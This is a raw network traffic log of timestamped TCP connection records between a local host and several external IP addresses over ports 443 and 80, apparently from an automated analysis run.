Dec 20, 2023 15:35:08.698563099 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698584080 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698587894 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698618889 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698620081 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698632002 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698641062 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698645115 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698657990 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698678970 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698683977 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698692083 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698693991 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698712111 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698717117 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698720932 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698744059 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698760033 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698772907 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698774099 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698782921 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698837996 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698837996 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698844910 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698853970 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698884010 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698892117 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698908091 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698915005 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698920012 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698941946 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698945999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698977947 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698985100 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698995113 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698997974 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699012995 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699023008 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699027061 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699057102 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699060917 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699075937 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699091911 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699095964 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699110985 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699116945 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699134111 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699136972 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699142933 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699160099 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699182987 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699186087 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699194908 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699218035 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699235916 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699243069 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699255943 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699270010 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699284077 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699318886 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699318886 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699323893 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699333906 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699347973 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699350119 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699359894 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699364901 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699388981 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699414968 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699414968 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699424982 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699450970 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699470997 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699477911 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699493885 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699503899 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699506998 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699537992 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699542999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699553013 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699563026 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699569941 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699598074 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699603081 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699625969 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699630976 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699639082 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699651957 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699656010 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699685097 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699686050 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699702978 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699712038 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699716091 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699754953 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699767113 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699767113 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699768066 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699778080 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699800968 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699814081 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699831009 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699840069 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699843884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.699861050 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699886084 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699913025 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.699970007 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.700285912 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.700303078 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.700344086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.700350046 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.700361013 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.700386047 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.701941967 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.701957941 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.702016115 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.702020884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.702050924 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.702524900 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.702541113 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.702580929 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.702585936 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.702617884 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.702625036 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.702928066 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.703107119 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.703718901 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.703735113 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.703775883 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.703782082 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.703809977 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.703824997 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704253912 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704268932 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704312086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704315901 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704344034 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704353094 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704659939 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704674006 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704709053 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704715014 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704737902 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704755068 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.704982996 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.704999924 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.705039024 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.705044031 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.705069065 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.705080986 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.705435038 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.705451012 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.705495119 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.705511093 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.705523014 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.705549002 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.705952883 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.705967903 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.706012011 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.706017971 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.706043959 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.706058025 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.706396103 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.706409931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.706459999 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.706465006 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.706492901 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.706506014 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.706644058 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.706698895 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707261086 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707278967 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707334995 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707340002 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707379103 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707505941 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707561970 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707567930 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707577944 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707604885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707631111 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707689047 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707701921 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.707715034 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.707746029 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.842336893 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:08.842412949 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:08.844546080 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:08.844554901 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:08.844820023 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:08.848937035 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:08.849001884 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:08.855756998 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:08.855771065 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:08.856040001 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:08.896754980 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:08.896754980 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:08.920398951 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:08.960751057 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:09.120274067 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:09.160756111 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:09.193327904 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:09.193434000 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:09.193517923 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:09.193528891 CET	443	49750	140.82.113.4	192.168.2.4
Dec 20, 2023 15:35:09.193576097 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:09.194145918 CET	49750	443	192.168.2.4	140.82.113.4
Dec 20, 2023 15:35:09.281367064 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:09.281440020 CET	443	49749	64.185.227.156	192.168.2.4
Dec 20, 2023 15:35:09.281815052 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:09.287281990 CET	49749	443	192.168.2.4	64.185.227.156
Dec 20, 2023 15:35:09.380512953 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:09.380542994 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:09.380621910 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:09.380929947 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:09.380945921 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:09.636913061 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:09.638379097 CET	49752	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:09.668668985 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:09.668773890 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:09.674395084 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:09.674402952 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:09.674631119 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:09.679039955 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:09.724747896 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:09.925642967 CET	80	49741	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:09.925709009 CET	49741	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:09.936348915 CET	80	49752	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:09.936434984 CET	49752	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:09.942090988 CET	49752	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.043401003 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.043545961 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.043587923 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.043595076 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.043610096 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.043652058 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.043656111 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.043668985 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.043719053 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.048010111 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.052577019 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.052632093 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.052643061 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.052648067 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.052686930 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.057307959 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.062073946 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.062129021 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.062134981 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.066518068 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.066665888 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.066672087 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.071067095 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.071122885 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.071129084 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.076024055 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.076101065 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.076106071 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.080348015 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.080399990 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.080404997 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.090260983 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.090306997 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.090311050 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.094067097 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.094115973 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.094130039 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.094136000 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.094175100 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.100739956 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.146776915 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.180291891 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.182738066 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.182791948 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.182794094 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.182817936 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.182858944 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.187670946 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.190433979 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.190489054 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.190495014 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.194521904 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.194576025 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.194581985 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.201108932 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.201164007 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.201169968 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.202955008 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.203006029 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.203010082 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.205106020 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.205154896 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.205158949 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.207469940 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.207520962 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.207526922 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.213402987 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.213440895 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.213469982 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.213474989 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.213514090 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.213519096 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.232506037 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.232564926 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.232578039 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.232618093 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.232629061 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.232794046 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.232794046 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.239729881 CET	80	49752	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:10.241458893 CET	80	49752	185.172.128.19	192.168.2.4
Dec 20, 2023 15:35:10.241508961 CET	49752	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.279504061 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.279529095 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.279588938 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.279597044 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.279618025 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.329708099 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.329741001 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.329761982 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.329773903 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.329804897 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.340817928 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.340837955 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.340917110 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.340924025 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.353270054 CET	49752	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.353346109 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.353369951 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.353408098 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.353413105 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.353439093 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.353982925 CET	49753	80	192.168.2.4	185.172.128.19
Dec 20, 2023 15:35:10.375905991 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.375925064 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.375967026 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.375972033 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.375988007 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.398448944 CET	443	49751	185.199.110.133	192.168.2.4
